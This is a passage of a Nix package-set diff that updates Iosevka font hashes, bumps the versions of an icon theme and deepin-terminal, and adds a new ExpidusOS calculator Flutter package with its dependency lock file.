-  SGr-IosevkaSS11 = "1im7pad5alp9j80r6qvpps4fxpkf753c4c87mfy9bk1jvr60md8p";
-  SGr-IosevkaSS12 = "1nn353bqnx0wd2jp6k9pmf1h48nyakv29whpklp3vn53fy8dysjq";
-  SGr-IosevkaSS13 = "0d4drf8i6df0hf0m7fwapzncvjsy2165qfj0y0iggzr3v2bq8q71";
-  SGr-IosevkaSS14 = "1nccdwhn6kg6142x4w3r53slvs4x33ls54rhc818wvrnpbl08b75";
-  SGr-IosevkaSS15 = "1kgrj1my2i10qi13psdx3pljz93g4417fnm0d2b9nz9ha2d4zknh";
-  SGr-IosevkaSS16 = "1vsn37wkzc417li7xfx8bbcj2wn2pp9qmn60wzq8pj8isbgj4c5d";
-  SGr-IosevkaSS17 = "0c51rjmjqih87wnfiajhhc3b695dypr079v9dhz8rq2ic1r0dd5c";
-  SGr-IosevkaSS18 = "0cxr42gza3lrdph91nfpr0a9imxrr6n0pyzcmar65ix77r4wdy0q";
-  SGr-IosevkaTerm = "1q7pqpazlj1x140gib3gdzblwi3s6cywz1icf1xgwbm7mr8ab5g7";
-  SGr-IosevkaTermCurly = "0xpj52hps0l5iarcjxhammz2z8kqjjayi6vxnpz12hjbvfp6ldcj";
-  SGr-IosevkaTermCurlySlab = "0pxjn59fmsmqyirl6mpkhhl4yz4xb4n2mz7wg8lccrj2naz027sp";
-  SGr-IosevkaTermSlab = "0814zl1yy671jaiycwdwj21b15if1wdv0d08f3ja3qp97h5ppzwg";
-  SGr-IosevkaTermSS01 = "1kwc5rl1yybwxygsmxca3sk83281fbihf2k3pwabrz0jmw61s2rd";
-  SGr-IosevkaTermSS02 = "1srk77hn944vc6k66njrqs9wn9qw8kqgynw48y5w54vdii2ac9fb";
-  SGr-IosevkaTermSS03 = "0kl0xrbqn5a9ry1q6hxhawia09wa1vz8pjvkc22r54qz0l5mcw4i";
-  SGr-IosevkaTermSS04 = "0rm00brfqs97lhg3jqb8cvsin28a87pm7scf8vibh9pigg5h8vly";
-  SGr-IosevkaTermSS05 = "1ii53sp83wc3ljhapra4rfvbfglalg1rqg30ybkj7r4jfyx4jl98";
-  SGr-IosevkaTermSS06 = "1pc61w7c9ph0x5wxpz6bkfiisi2mvq8fnxzm7qnq1gbl5895d255";
-  SGr-IosevkaTermSS07 = "1nhilhhb4lr7hxaj9rzmrqw0bsfm7h54dmggrwsssld4pzy2crpg";
-  SGr-IosevkaTermSS08 = "16p0yx9b0xlsg0g0hyi42ccfc5z5ngmh31bsdivfxxdpmjsln3r6";
-  SGr-IosevkaTermSS09 = "1xky6d68nmhy3fzv91d616mzms2x4j0z6ahlj98bn70xns1bdp5y";
-  SGr-IosevkaTermSS10 = "05dp4lya900w8glcdm8dl47pic3c3w6i9xsqzbb0la8rz1hbrrwy";
-  SGr-IosevkaTermSS11 = "059wiqwm4vz1ddjn20jnd943s6zld1va13zmqx9hf2w77hsi4gm3";
-  SGr-IosevkaTermSS12 = "1swapdr2vr7xw4y63f7wrpgy271hx49cmng3pvsnrkw31rbdkf4f";
-  SGr-IosevkaTermSS13 = "00bcqr2yz1dg6hq9n23njy7vsj1hl06k6836h7krphnzy8rw5fx2";
-  SGr-IosevkaTermSS14 = "1wrqyq8i2dplivifsza6d4w87x9jhcqypyy3mli0gy8vvqr4f938";
-  SGr-IosevkaTermSS15 = "07rknhg3bmsyr8wnk1y8k5h6sjgbnx75xrx9yzbqgfx344x0p6c2";
-  SGr-IosevkaTermSS16 = "1gxmlqh9bnqw1izwmxvhiy717j7mmfqbywqi92y3cj8w1191n5r6";
-  SGr-IosevkaTermSS17 = "0w2c3k6yla9mkl263ypp96nhsydgnn2l3x2ddif0s75hv12qkbng";
-  SGr-IosevkaTermSS18 = "1gwnbw3pxwaj0pa223zqvdsx9pccc03c3f70y5dsq4c6fxfqaxzh";
+  Iosevka = "1nahnfmivrwdy64xk4lkm8lb3zhj3q6prb8fhwkz0fw9jrl90qd4";
+  IosevkaAile = "1vk1bimj83yfzn8p0ww0mcw65r7s7d0nhx1s01wvpjdszq5z01g1";
+  IosevkaCurly = "13z9a6szvvl2jp0l47j9mad1bhxwps17r5awkj4i17lpwnh2j09g";
+  IosevkaCurlySlab = "1z7m6317a2bkdxv59as3zhhzh2wx39nmpw3nhgnx2rg23hl1ykih";
+  IosevkaEtoile = "0zj6bvvpmdfh3p6agn1jlb2pc6701fqgql2dp1lpivlrb85k2d5l";
+  IosevkaSlab = "1cvv8fc3a3rgslh9zy6lsbpijapsqx3cqckncbjyv9y10n4lff7p";
+  IosevkaSS01 = "0lxnjv3z794hd9y7rxzgi6kz7dcmgr6605s73bxj2k2zwjaj25ca";
+  IosevkaSS02 = "0axhww5zmj4rdif5hp3rqx6k4jb4kypcw2ixzq9dw4p2kjffnhkc";
+  IosevkaSS03 = "0iamdny07rlzc621w5q1pkmdiw50fcfkg8xp21syw78g07ip492j";
+  IosevkaSS04 = "0zxwaqbdsj9agp30ign1fvb80y33lirfhi5bsc003dc7g3s250xg";
+  IosevkaSS05 = "1is00nvqvnam87hy6vdd36jmsznsphqn81cs3dia68q2bh6v73gk";
+  IosevkaSS06 = "077fyfzkg8mhjazwa9fjf9gnh7ifdqxg2ycnzxdyma0dn3222wx2";
+  IosevkaSS07 = "19idgw1aq440hk704b729zgxrsgxc7yi57s8wgjclmf7bbdx22mx";
+  IosevkaSS08 = "0r2jdljp4arc4j2xa3av17rg3fzhjh5w1y54idzzhv0wxkhq6jpv";
+  IosevkaSS09 = "0dr50svi8p7ndhch7v9m17fck5yha2xbf11aqi5dnx823xnp0gzk";
+  IosevkaSS10 = "17gzdnyy0zlzysmbl4gwk0mamk1qj3gnhhx0ka3wacpykcgm2q7q";
+  IosevkaSS11 = "1cksgn1a923n70mwd9npmlgnz4mxm5jscf0svh9058v3grzkqw9s";
+  IosevkaSS12 = "11dj6r3vlfa695p0g21rmyh6ilvkp2286x1379r1r2a1l7s265sy";
+  IosevkaSS13 = "0wlkpaix8zh7sxvwi6sp7qyrziylaa0h0s4981yap9pc3wgp6d9h";
+  IosevkaSS14 = "1znw5762hl4g7zwz7360akrnyzk5cvfl3y6sa82ljwv1a2fdhfm0";
+  IosevkaSS15 = "09srcc7zi5b5is75mh2d8r9p10dnmd1yd78vmykwngdlxyhsphwp";
+  IosevkaSS16 = "1jmq4qkvld2g0d4j83zfby0qccv0wnfpqnx269dxcp5pw9nkq6d6";
+  IosevkaSS17 = "0yrjxj8fshpycv87hpqx0f71z8g79r0qb3r6kw8gk8mqviiifp88";
+  IosevkaSS18 = "0nx2pfgrgxhii2mv5zya51dwmlyk448p2kgxn52g79yj57f63ycl";
+  SGr-Iosevka = "0rgpswnkb87rkfqh7jzd8z7jqj6l5prrnx5hpsbd55091qw29yfw";
+  SGr-IosevkaCurly = "0h5ny3vqy5il9542zkr5hxgrq5qx4ky0g67m4nf5whyi2n1b7i2v";
+  SGr-IosevkaCurlySlab = "179vll8ywfpxzadwm4w7x70aav7na33dii4mjhx6dxmdbw9mwxjq";
+  SGr-IosevkaFixed = "0pvxc8na5hvdgddwgkr3vsn8mr0j06z8vy3519fdjq9mianvf0h9";
+  SGr-IosevkaFixedCurly = "0y58azsbq9zw1fxmdi36z939ss8mz099iipg0wynmsyckvla8ida";
+  SGr-IosevkaFixedCurlySlab = "1mkh496pp8fggsqlriz7125lcnh0vjm81csipsrpq55c17hkdqwg";
+  SGr-IosevkaFixedSlab = "1ss0j0x4c8wi4swjgl7hain5qh9dnvldhgki8n0azmi1qrxv2isx";
+  SGr-IosevkaFixedSS01 = "1xvrzib1srnp4v5mxrp8vi38lap53jf402hgipmfmdac3zhzybzw";
+  SGr-IosevkaFixedSS02 = "0bd66z5h8vzmm16s54kf4n694cqxsvniwhd1vp25wifkspq2giij";
+  SGr-IosevkaFixedSS03 = "08dx6b58mjq3fy2dnvw68vb12pq7rsplrrxhz3fygx6nv2mc7rnn";
+  SGr-IosevkaFixedSS04 = "0nj66p91kldzwzvaq2nwsmdc4v2qv2b3rwvcv8ffk23sacy7bci6";
+  SGr-IosevkaFixedSS05 = "19n22pfqfz8b80hbw8sj0l0f19g1yi737wgxg82s221w2zrzjgri";
+  SGr-IosevkaFixedSS06 = "1m65l05qrv2in9idbx53ialg8wkrszb3y516cy39n8f7ish5rdhl";
+  SGr-IosevkaFixedSS07 = "1fyphdwa352nnzvbighgxjmg31dfrswfwx2akq56v1jbssk5vpfa";
+  SGr-IosevkaFixedSS08 = "0b0l1p62nxc5k46wqz8dih2b4gn96b5mgpnqr6m5nhb8n1ygwqik";
+  SGr-IosevkaFixedSS09 = "1in2wg4c3ggvi3r8x7fcd4jm1qsh10ppng025m8n57j9ziz0a3s9";
+  SGr-IosevkaFixedSS10 = "0m7arqxzb368pz1ns05szk159ir07h5yy9x436csjg8cnqsdw426";
+  SGr-IosevkaFixedSS11 = "0vz1lasrhqwkpfawvy0p5ygcr9xkg3am9xc7xmnfspvydjmf8s5l";
+  SGr-IosevkaFixedSS12 = "052yjy84jika9r6w1ivh6l13h9300rydaraxjhp6shgmdknd3qhn";
+  SGr-IosevkaFixedSS13 = "09qs91m4bc9dl4bipz0sfpmd5b0vly6ql01zvbn5n4kwh4591l53";
+  SGr-IosevkaFixedSS14 = "1x6jwx9daivf7mgjip9n3klprmvqm2s2dhg2alcbcmk9xk45ldzv";
+  SGr-IosevkaFixedSS15 = "0p6d53zk7agpjsrjx97dm5xk5j45xx4ynq034r61hdm9dagh9p9w";
+  SGr-IosevkaFixedSS16 = "1n4w7p4a8plq0fw5hvsq601z6zcrx1793s8snczxfy8sd1ggw68h";
+  SGr-IosevkaFixedSS17 = "0paiwkkar6lzlggilds5z4qq7mw7qhcj8syn0hpyfivx1jh5zp0x";
+  SGr-IosevkaFixedSS18 = "0ghxl8zxpwz3sg89kx8s1qhrv5r7hcp77dv2k6wihfdqbi507pp6";
+  SGr-IosevkaSlab = "10d6miynr4ywjni5x306bkyimvrf8nxr9nq3khnfrm64al5kv8ly";
+  SGr-IosevkaSS01 = "19467salb40flls3fijskx6g9jjbw7kzni9fikr1141hd6rp7a9d";
+  SGr-IosevkaSS02 = "0vqyxrk3v48l6l1z5lvhqq56xff1v6pjr5q6n5nn8jlf22jmrdx3";
+  SGr-IosevkaSS03 = "1y39rdg4rap3l55ga2kjp7dxr4bi3g3n3mhm1f3s15xmjx9wh3hr";
+  SGr-IosevkaSS04 = "1igx2d1fh328w7jr8nz24kdh5jdr8gdp2hwmh5rg09jw400v9pph";
+  SGr-IosevkaSS05 = "0a7yw1nig9j64jhs9dmm26367f4b8d3kz55x2r0nny20l309iwc7";
+  SGr-IosevkaSS06 = "1diq8s859lh02pv2g6gq3d8f2wva0vh7mim3rygd5p6nhsz1z0ya";
+  SGr-IosevkaSS07 = "0y9kwms1qfnpdzzrsxrmla1vhvxldz7bj0162k9kfphmg49kdzp6";
+  SGr-IosevkaSS08 = "0zlgvck0c5rnkc6v0zfxl2bj2py1mvahag9f9x4z537b2f71miwb";
+  SGr-IosevkaSS09 = "0aqr55cyik59d807xwn4xbalq3hkj85wphxb713qcdqxh0fx14m3";
+  SGr-IosevkaSS10 = "0racfcw376s4z3kpb928d9kif6gqgcqyj6m0mpbwgap5fxjq227b";
+  SGr-IosevkaSS11 = "0pirg5pvmbs3c630x6fh685rnmqam7nciyvv00280fal8pn2q90d";
+  SGr-IosevkaSS12 = "0hm1jjsmi1chmvq4yf7fy2xsj2zvqxwhip0cn3ndhk35zi0y31dk";
+  SGr-IosevkaSS13 = "180pq16ax9inx454ar5biwfwi4n6h1zivg55czm50pb444a7lm6f";
+  SGr-IosevkaSS14 = "120cmw9s8cpjbdkvrl9cqy52pv5pxx1cy9ngbanhrma6pfssfq27";
+  SGr-IosevkaSS15 = "10x25vcpknig8bdd0iqb7i1s18l2m3r72kdmnxf227ba1gy4rizn";
+  SGr-IosevkaSS16 = "0jm07z7sgvr07zrzk51irxlnv8r1frsc5ay4yks3qh3gbphc35bb";
+  SGr-IosevkaSS17 = "103n3cy3vfcb7yirj78x0q73prw5c5hx2493daqy6qvhwb52xm4g";
+  SGr-IosevkaSS18 = "1grgq4147nh0g4d0dvcmmwz1xmhar4gdjv8rgng2z8fc4sbvlvjf";
+  SGr-IosevkaTerm = "0i356wmzxlii2wc15va2m4sl56lg099xyixjkcc5w2p57dycljl5";
+  SGr-IosevkaTermCurly = "1mna0m08wi2gmbmj2gdnk4z1pqvyvrbig2wrna104mcc121slnmg";
+  SGr-IosevkaTermCurlySlab = "06gy71wg5nkdx6nk1l97ag100if5fy44bc4bnj4v0whnd6a4rgvj";
+  SGr-IosevkaTermSlab = "1w2508a24rf21vaiy15pb0flk3gb7am8iv7x0px9bljpng9pnanr";
+  SGr-IosevkaTermSS01 = "1gnmr32n3z8hm8xjcix9bkip1hpp4fdhzqvvw5iwaa259xz1x6pf";
+  SGr-IosevkaTermSS02 = "19a88y4kpfxqw9fgy0yx6mv48mx5hmpijpc9bswn79lfxdhv2kc9";
+  SGr-IosevkaTermSS03 = "13y1i1gfzgf0p5x75kf61j4ya9gmphjw6wj5j6a3fx5nxg2856pi";
+  SGr-IosevkaTermSS04 = "1q1p6gj2wx1pp9s46rw08nrdpm87xgx67vmi2dllkf20azs264vp";
+  SGr-IosevkaTermSS05 = "1kkz5sb8i9fsj27zd4nvlvnfc6scq00nmw5vc7r700jn0aqzlhyb";
+  SGr-IosevkaTermSS06 = "1wbc1y2l8lqg0qcsf8iq0w6nglhsgns8dmvf94ay2mzwmq2acw1i";
+  SGr-IosevkaTermSS07 = "1s9wsmqlliy1rf7gj15p4z8vmlhyxq7c2w8hyqf5az97rqprx6ir";
+  SGr-IosevkaTermSS08 = "17cjrwnladjnmch73l55p8bhdnbpr2jk8r6ssrs3pr1pi4xiv5i2";
+  SGr-IosevkaTermSS09 = "16fy6pwh8qlnl1knp429rhvcx26ldcb0vri614cv87fwm7vvykql";
+  SGr-IosevkaTermSS10 = "0vg3qqhbc308m90h7cy1av62zy5a34rzl60kba3d1skq1mf9zwlm";
+  SGr-IosevkaTermSS11 = "08k73y8nrdzjn23fbpc5qn9gff8zvb65yb6hcrj359p0dxwx0r24";
+  SGr-IosevkaTermSS12 = "10vlww4by76a2yvczimhv5y8wcxl6ir5sal8qcfbkz11ml2fp5q6";
+  SGr-IosevkaTermSS13 = "1a62vdsdk5c42gi34gi345dqqirn7rqdpfj0chc3394wjdx3g1bl";
+  SGr-IosevkaTermSS14 = "0aq251sw84l8phys73589ky4xymbdglnn1ff07a6k862r3c1bzz0";
+  SGr-IosevkaTermSS15 = "0mslmw4ywgdfhz1xgpa2ybhxpa423l2f8dwgxz6ngmbrl8sbqcr9";
+  SGr-IosevkaTermSS16 = "1sr2sm1i6isivd3qgirxhgscf54sqw2cm5p7zhj9jqnmgsvvm1p2";
+  SGr-IosevkaTermSS17 = "00x3h0pp0q0hrqhy5mf0smf6gf5hxn19yvk6cnlsbkgfhgw5swh9";
+  SGr-IosevkaTermSS18 = "0nv7pqwwfwgrdam0f2104x8p4v1b4lvxqv1pzab32l1s61iw7jsz";
 }
diff --git a/pkgs/data/icons/numix-icon-theme-circle/default.nix b/pkgs/data/icons/numix-icon-theme-circle/default.nix
index 328937488088..5422eaac8073 100644
--- a/pkgs/data/icons/numix-icon-theme-circle/default.nix
+++ b/pkgs/data/icons/numix-icon-theme-circle/default.nix
@@ -2,13 +2,13 @@
 
 stdenvNoCC.mkDerivation rec {
   pname = "numix-icon-theme-circle";
-  version = "24.02.05";
+  version = "24.03.12";
 
   src = fetchFromGitHub {
     owner = "numixproject";
     repo = pname;
     rev = version;
-    sha256 = "sha256-XootwpvdYrg3tBsMKssTuTiLPPMaFb7N401XeT889EM=";
+    sha256 = "sha256-WWgppmMIXa7AtMu8Tu3TOt4JvsAkpufZva1reE+UaWg=";
   };
 
   nativeBuildInputs = [ gtk3 ];
diff --git a/pkgs/desktops/deepin/apps/deepin-terminal/default.nix b/pkgs/desktops/deepin/apps/deepin-terminal/default.nix
index 7356d6342c4d..275f3935b41f 100644
--- a/pkgs/desktops/deepin/apps/deepin-terminal/default.nix
+++ b/pkgs/desktops/deepin/apps/deepin-terminal/default.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation rec {
   pname = "deepin-terminal";
-  version = "6.0.9";
+  version = "6.0.12";
 
   src = fetchFromGitHub {
     owner = "linuxdeepin";
     repo = pname;
     rev = version;
-    hash = "sha256-QdODR4zmbMuzSVy6eJhwJHNPXkAn6oCLHq+YZEOmtIU=";
+    hash = "sha256-VAF6Dn9cGmipQhAKhEOLd7lJyYWySOJ+rehc9L8pfL0=";
   };
 
   cmakeFlags = [ "-DVERSION=${version}" ];
diff --git a/pkgs/desktops/expidus/calculator/default.nix b/pkgs/desktops/expidus/calculator/default.nix
new file mode 100644
index 000000000000..fb2ab188922a
--- /dev/null
+++ b/pkgs/desktops/expidus/calculator/default.nix
@@ -0,0 +1,50 @@
+{ lib, flutter, fetchFromGitHub }:
+flutter.buildFlutterApplication rec {
+  pname = "expidus-calculator";
+  version = "0.1.1-alpha";
+
+  src = fetchFromGitHub {
+    owner = "ExpidusOS";
+    repo = "calculator";
+    rev = version;
+    hash = "sha256-O3LHp10Fo3PW3zoN7mFSQEKh+AAaR+IqkRtc6nQrIZE=";
+  };
+
+  flutterBuildFlags = [
+    "--dart-define=COMMIT_HASH=a5d8f54404b9994f83beb367a1cd11e04a6420cb"
+  ];
+
+  pubspecLock = lib.importJSON ./pubspec.lock.json;
+
+  gitHashes = {
+    libtokyo = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU=";
+    libtokyo_flutter = "sha256-T0+vyfSfijLv7MvM+zt3bkVpb3aVrlDnse2xyNMp9GU=";
+  };
+
+  postInstall = ''
+    rm $out/bin/calculator
+    ln -s $out/app/calculator $out/bin/expidus-calculator
+
+    mkdir -p $out/share/applications
+    mv $out/app/data/com.expidusos.calculator.desktop $out/share/applications
+
+    mkdir -p $out/share/icons
+    mv $out/app/data/com.expidusos.calculator.png $out/share/icons
+
+    mkdir -p $out/share/metainfo
+    mv $out/app/data/com.expidusos.calculator.metainfo.xml $out/share/metainfo
+
+    substituteInPlace "$out/share/applications/com.expidusos.calculator.desktop" \
+      --replace "Exec=calculator" "Exec=$out/bin/expidus-calculator" \
+      --replace "Icon=com.expidusos.calculator" "Icon=$out/share/icons/com.expidusos.calculator.png"
+  '';
+
+  meta = with lib; {
+    description = "ExpidusOS Calculator";
+    homepage = "https://expidusos.com";
+    license = licenses.gpl3Only;
+    maintainers = with maintainers; [ RossComputerGuy ];
+    platforms = [ "x86_64-linux" "aarch64-linux" ];
+    mainProgram = "expidus-calculator";
+  };
+}
diff --git a/pkgs/desktops/expidus/calculator/pubspec.lock.json b/pkgs/desktops/expidus/calculator/pubspec.lock.json
new file mode 100644
index 000000000000..a2e6f2e46776
--- /dev/null
+++ b/pkgs/desktops/expidus/calculator/pubspec.lock.json
@@ -0,0 +1,790 @@
+{
+  "packages": {
+    "args": {
+      "dependency": "transitive",
+      "description": {
+        "name": "args",
+        "sha256": "eef6c46b622e0494a36c5a12d10d77fb4e855501a91c1b9ef9339326e58f0596",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.2"
+    },
+    "async": {
+      "dependency": "transitive",
+      "description": {
+        "name": "async",
+        "sha256": "947bfcf187f74dbc5e146c9eb9c0f10c9f8b30743e341481c1e2ed3ecc18c20c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.11.0"
+    },
+    "bitsdojo_window": {
+      "dependency": "direct main",
+      "description": {
+        "name": "bitsdojo_window",
+        "sha256": "1118bc1cd16e6f358431ca4473af57cc1b287d2ceab46dfab6d59a9463160622",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.5"
+    },
+    "bitsdojo_window_linux": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_linux",
+        "sha256": "d3804a30315fcbb43b28acc86d1180ce0be22c0c738ad2da9e5ade4d8dbd9655",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.3"
+    },
+    "bitsdojo_window_macos": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_macos",
+        "sha256": "d2a9886c74516c5b84c1dd65ab8ee5d1c52055b265ebf0e7d664dee28366b521",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.3"
+    },
+    "bitsdojo_window_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_platform_interface",
+        "sha256": "65daa015a0c6dba749bdd35a0f092e7a8ba8b0766aa0480eb3ef808086f6e27c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.2"
+    },
+    "bitsdojo_window_windows": {
+      "dependency": "transitive",
+      "description": {
+        "name": "bitsdojo_window_windows",
+        "sha256": "8766a40aac84a6d7bdcaa716b24997e028fc9a9a1800495fc031721fd5a22ed0",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.5"
+    },
+    "boolean_selector": {
+      "dependency": "transitive",
+      "description": {
+        "name": "boolean_selector",
+        "sha256": "6cfb5af12253eaf2b368f07bacc5a80d1301a071c73360d746b7f2e32d762c66",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "characters": {
+      "dependency": "transitive",
+      "description": {
+        "name": "characters",
+        "sha256": "04a925763edad70e8443c99234dc3328f442e811f1d8fd1a72f1c8ad0f69a605",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.0"
+    },
+    "clock": {
+      "dependency": "transitive",
+      "description": {
+        "name": "clock",
+        "sha256": "cb6d7f03e1de671e34607e909a7213e31d7752be4fb66a86d29fe1eb14bfb5cf",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.1.1"
+    },
+    "collection": {
+      "dependency": "transitive",
+      "description": {
+        "name": "collection",
+        "sha256": "4a07be6cb69c84d677a6c3096fcf960cc3285a8330b4603e0d463d15d9bd934c",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.17.1"
+    },
+    "crypto": {
+      "dependency": "transitive",
+      "description": {
+        "name": "crypto",
+        "sha256": "ff625774173754681d66daaf4a448684fb04b78f902da9cb3d308c19cc5e8bab",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.0.3"
+    },
+    "fake_async": {
+      "dependency": "transitive",
+      "description": {
+        "name": "fake_async",
+        "sha256": "511392330127add0b769b75a987850d136345d9227c6b94c96a04cf4a391bf78",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.3.1"
+    },
+    "ffi": {
+      "dependency": "transitive",
+      "description": {
+        "name": "ffi",
+        "sha256": "7bf0adc28a23d395f19f3f1eb21dd7cfd1dd9f8e1c50051c069122e6853bc878",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.0"
+    },
+    "file": {
+      "dependency": "transitive",
+      "description": {
+        "name": "file",
+        "sha256": "1b92bec4fc2a72f59a8e15af5f52cd441e4a7860b49499d69dfa817af20e925d",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.1.4"
+    },
+    "filesize": {
+      "dependency": "transitive",
+      "description": {
+        "name": "filesize",
+        "sha256": "f53df1f27ff60e466eefcd9df239e02d4722d5e2debee92a87dfd99ac66de2af",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.1"
+    },
+    "flutter": {
+      "dependency": "direct main",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_adaptive_scaffold": {
+      "dependency": "direct main",
+      "description": {
+        "name": "flutter_adaptive_scaffold",
+        "sha256": "3e78be8b9c95b1c9832b2f8ec4a845adac205c4bb5e7bd3fb204b07990229167",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.1.7+1"
+    },
+    "flutter_lints": {
+      "dependency": "direct dev",
+      "description": {
+        "name": "flutter_lints",
+        "sha256": "a25a15ebbdfc33ab1cd26c63a6ee519df92338a9c10f122adda92938253bef04",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.3"
+    },
+    "flutter_localizations": {
+      "dependency": "direct main",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_markdown": {
+      "dependency": "direct main",
+      "description": {
+        "name": "flutter_markdown",
+        "sha256": "d4a1cb250c4e059586af0235f32e02882860a508e189b61f2b31b8810c1e1330",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.6.17+2"
+    },
+    "flutter_test": {
+      "dependency": "direct dev",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "flutter_web_plugins": {
+      "dependency": "transitive",
+      "description": "flutter",
+      "source": "sdk",
+      "version": "0.0.0"
+    },
+    "http": {
+      "dependency": "transitive",
+      "description": {
+        "name": "http",
+        "sha256": "5895291c13fa8a3bd82e76d5627f69e0d85ca6a30dcac95c4ea19a5d555879c2",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.13.6"
+    },
+    "http_parser": {
+      "dependency": "transitive",
+      "description": {
+        "name": "http_parser",
+        "sha256": "2aa08ce0341cc9b354a498388e30986515406668dbcc4f7c950c3e715496693b",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "4.0.2"
+    },
+    "intl": {
+      "dependency": "transitive",
+      "description": {
+        "name": "intl",
+        "sha256": "a3715e3bc90294e971cb7dc063fbf3cd9ee0ebf8604ffeafabd9e6f16abbdbe6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.18.0"
+    },
+    "js": {
+      "dependency": "transitive",
+      "description": {
+        "name": "js",
+        "sha256": "f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.6.7"
+    },
+    "libtokyo": {
+      "dependency": "direct main",
+      "description": {
+        "path": "packages/libtokyo",
+        "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "url": "https://github.com/ExpidusOS/libtokyo.git"
+      },
+      "source": "git",
+      "version": "0.1.0"
+    },
+    "libtokyo_flutter": {
+      "dependency": "direct main",
+      "description": {
+        "path": "packages/libtokyo_flutter",
+        "ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "resolved-ref": "f48d528ebfc22fe827fe9f2d1965be1d339ccfb7",
+        "url": "https://github.com/ExpidusOS/libtokyo.git"
+      },
+      "source": "git",
+      "version": "0.1.0"
+    },
+    "lints": {
+      "dependency": "transitive",
+      "description": {
+        "name": "lints",
+        "sha256": "0a217c6c989d21039f1498c3ed9f3ed71b354e69873f13a8dfc3c9fe76f1b452",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.1.1"
+    },
+    "markdown": {
+      "dependency": "direct main",
+      "description": {
+        "name": "markdown",
+        "sha256": "acf35edccc0463a9d7384e437c015a3535772e09714cf60e07eeef3a15870dcd",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "7.1.1"
+    },
+    "matcher": {
+      "dependency": "transitive",
+      "description": {
+        "name": "matcher",
+        "sha256": "6501fbd55da300384b768785b83e5ce66991266cec21af89ab9ae7f5ce1c4cbb",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.12.15"
+    },
+    "material_color_utilities": {
+      "dependency": "transitive",
+      "description": {
+        "name": "material_color_utilities",
+        "sha256": "d92141dc6fe1dad30722f9aa826c7fbc896d021d792f80678280601aff8cf724",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "0.2.0"
+    },
+    "material_theme_builder": {
+      "dependency": "transitive",
+      "description": {
+        "name": "material_theme_builder",
+        "sha256": "380ab70835e01f4ee0c37904eebae9e36ed37b5cf8ed40d67412ea3244a2afd6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.4"
+    },
+    "math_expressions": {
+      "dependency": "direct main",
+      "description": {
+        "name": "math_expressions",
+        "sha256": "3576593617c3870d75728a751f6ec6e606706d44e363f088ac394b5a28a98064",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.0"
+    },
+    "meta": {
+      "dependency": "transitive",
+      "description": {
+        "name": "meta",
+        "sha256": "3c74dbf8763d36539f114c799d8a2d87343b5067e9d796ca22b5eb8437090ee3",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.9.1"
+    },
+    "nested": {
+      "dependency": "transitive",
+      "description": {
+        "name": "nested",
+        "sha256": "03bac4c528c64c95c722ec99280375a6f2fc708eec17c7b3f07253b626cd2a20",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.0"
+    },
+    "package_info_plus": {
+      "dependency": "direct main",
+      "description": {
+        "name": "package_info_plus",
+        "sha256": "10259b111176fba5c505b102e3a5b022b51dd97e30522e906d6922c745584745",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "3.1.2"
+    },
+    "package_info_plus_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "package_info_plus_platform_interface",
+        "sha256": "9bc8ba46813a4cc42c66ab781470711781940780fd8beddd0c3da62506d3a6c6",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.0.1"
+    },
+    "path": {
+      "dependency": "transitive",
+      "description": {
+        "name": "path",
